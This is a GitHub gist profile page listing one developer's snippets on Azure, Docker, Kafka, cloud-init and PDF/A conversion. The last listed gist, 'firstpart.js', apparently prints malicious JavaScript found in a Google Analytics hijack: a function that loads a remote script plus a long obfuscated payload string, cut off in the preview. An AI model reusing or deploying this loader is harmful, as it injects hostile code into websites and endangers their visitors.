Skip to content

Instantly share code, notes, and snippets.

View weltonrodrigo's full-sized avatar
🏠
Working from home

Welton Rodrigo Torres Nascimento weltonrodrigo

🏠
Working from home
  • Brasília, Distrito Federal, Brasil
View GitHub Profile
@weltonrodrigo
weltonrodrigo / error_470_azure.md
Last active January 10, 2024 15:13
HTTP 470 azure

What is an error with status HTTP 470 on Azure?

This is probably Azure Firewall.

Check the body of the response, it has some debug information:

< HTTP/1.1 470 status code 470
< Date: Sun, 27 Feb 2022 04:29:17 GMT
&lt; Content-Length: 70
@weltonrodrigo
weltonrodrigo / dive_with_docker_host.md
Last active June 2, 2022 19:20
Using dive with remote docker

Using dive (container explorer tool) with a remote docker

When using DOCKER_HOST with a remote daemon, like DOCKER_HOST=ssh:user@vm:22, you'll get an error when using dive to explore an image.

$ dive ubuntu:latest
Image Source: docker://ubuntu:latest
@weltonrodrigo
weltonrodrigo / eventhub_kafka.py
Last active February 23, 2022 17:51
Demonstração de como conectar no azure eventhub pela api kafka no python.
import logging
import pprint
import sys
from json import dumps
from typing import List
from kafka import KafkaProducer
from kafka.errors import KafkaError
from kafka.future import Future
@weltonrodrigo
weltonrodrigo / AzureMapsTokenController.java
Last active May 12, 2022 13:32
Exemplo de Controller springboot para obter no backend um token do azure maps a ser usado na aplicação javascript.
package br.org.prf.azuremapsexample.controllers;
import com.azure.core.credential.AccessToken;
import com.azure.core.credential.TokenRequestContext;
import com.azure.identity.DefaultAzureCredentialBuilder;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Mono;
@weltonrodrigo
weltonrodrigo / cloud-init.yaml
Created February 13, 2022 20:18
cloud-init for docker installation on GCE for ubuntu instances
#cloud-config
apt:
sources:
docker.list:
source: deb [arch=amd64] https://download.docker.com/linux/ubuntu $RELEASE stable
keyid: 9DC858229FC7DD38854AE2D88D81803C0EBFCD88
packages:
- apt-transport-https
@weltonrodrigo
weltonrodrigo / dcode-analysis.ipynb
Last active August 31, 2020 17:18
dCode Analysis
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@weltonrodrigo
weltonrodrigo / PDFA_def.ps
Created September 9, 2016 23:03
PDFA_def to convert from PDF to PDFA
%!
% This prefix file for creating a PDF/A document is derived from
% the sample included with Ghostscript 9.07, released under the
% GNU Affero General Public License.
% Modified 4/15/2013 by MCB Systems.
% Feel free to modify entries marked with "Customize".
% This assumes an ICC profile to reside in the file (AdobeRGB1998.icc),
% unless the user modifies the corresponding line below.
@weltonrodrigo
weltonrodrigo / spirituality.csv
Last active April 6, 2016 17:36
Level in Espirituality scale by age
Spirituality Age
1 4.9 23
2 3.1 30
3 4 32
4 3.9 NA
5 4.8 29
6 4.9 30
7 3.8 23
8 NA 55
9 3.3 22
@weltonrodrigo
weltonrodrigo / firstpart.js
Created August 12, 2015 23:52
Code found on some google-analytics hijack
<script type="text/javascript">
function Carregar(url, callback)
{
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
script.onreadystatechange = callback;
script.onload = callback;
var a="'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'02v{rg'1F'00vgzv-hctcqapkrv'00'1Gtcp'02n2n'1F'05IiQIraAdleAfrzEax7{HqnGdiDUXmL2O:@F`FHFdHHWL:DF`uKFdHzEPxu1ZqL2O:DF`@LFdwn0`szJfqTZ[oTEXALFdqn2S{u1LqH2O:T0ajLoS1u1OGDZLj;WO3HhLs@hO:zUQFLFduChO:@F`@LFd27UXvfUXx;DahjEXdPEXjzJ`HjhO:@F`AfFd6u0SxuZcqP2O:Pl`n3Ufh;EXAfFdqDofnH2L:LF`uKFd2uEM{ulLqLiO:j0[2n0fxH2L:HZ[0DGO:DxZ:fxSxuJfxTUfzToWuPJfKzWV[@hO:7igrH2O:HF`uKFdq;DM{uZOqjhO:PF`ALFdP7GWMnZUmjFcVXF`u@lS1uZW0jFT2fVgmjhO:TEajL0an7Uf6KFd0uoSxuZW0jFT2fV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